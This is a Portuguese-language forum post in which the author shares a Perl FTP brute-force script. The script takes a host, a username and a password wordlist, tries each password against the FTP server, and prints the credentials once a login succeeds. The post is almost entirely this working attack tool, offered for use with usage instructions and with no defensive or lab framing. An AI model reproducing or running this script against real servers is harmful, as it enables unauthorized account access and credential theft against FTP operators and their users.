Tweet
Fala pessoal, fiz esse programa em perl, é um FTP Bruteforce, ele atua com base em uma wordlist...
Lembrando que voce precisa do active perl para interpreta-lo !
C0d3r: Nickguitar.dll
Just This (=
Lembrando que voce precisa do active perl para interpreta-lo !
Código PHP:
#!/usr/bin/perl
########################################################################
# FTP BruteForce - C0d3r: Nicholas Ferreira ( Nickguitar.dll ) #
# #
# Gre3tz: Hifterbuk, GuiChaguri, Brlo0ping, J0k3rTr4p, and Others #
# #
# Nickguitar.dll@hotmail.com | Skype : niickguitar #
# #
########################################################################
use Net::FTP;
my $host = $ARGV[0];
my $usuario = $ARGV[1];
my $wordlist = $ARGV[2];
system('cls'); #Troque por system('clear'); se voce está no linux !
if($#ARGV != 2){
print "
##########################################################
# FTP BruteForce v1.0 #
# #
# C0d3r: Nicholas Ferreira ( Nickguitar.dll ) #
# #
# Nickguitar.dll@hotmail.com | Skype: niickguitar #
# #
##########################################################
Usage: brute.pl <host> <usuario> <wordlist>
";
exit;
}
print "
##########################################################
# FTP BruteForce v1.0 #
# #
# C0d3r: Nicholas Ferreira ( Nickguitar.dll ) #
# #
# Nickguitar.dll@hotmail.com | Skype: niickguitar #
# #
##########################################################
";
print "[*]Atacando: $host\n[*] Usuario: $usuario\n\n";
open(a,"<$wordlist");
@senhas = <a>;
$b = scalar(@senhas);
for($a>0;$a<$b;$a++){
$numero += 1;
chomp($senha2 = $senhas[$a]);
my $f = Net::FTP->new($host) or die "$!";
if(!$f->login($usuario, $senha2)){
print "[*] $host:21 - [$numero/$b] Testando... $senha2\n";
$f->quit;
} else {
print "[*] $host:21 - [$numero/$b] Testando... $senha2\n";
print "[+] Senha crackeada com sucesso !\n";
print "[*] Login: $usuario Senha: $senha2\n\n";
exit;
}
}
print "[-] Nenhuma senha encontrada :/\n";
exit;
C0d3r: Nickguitar.dll
Just This (=
Comment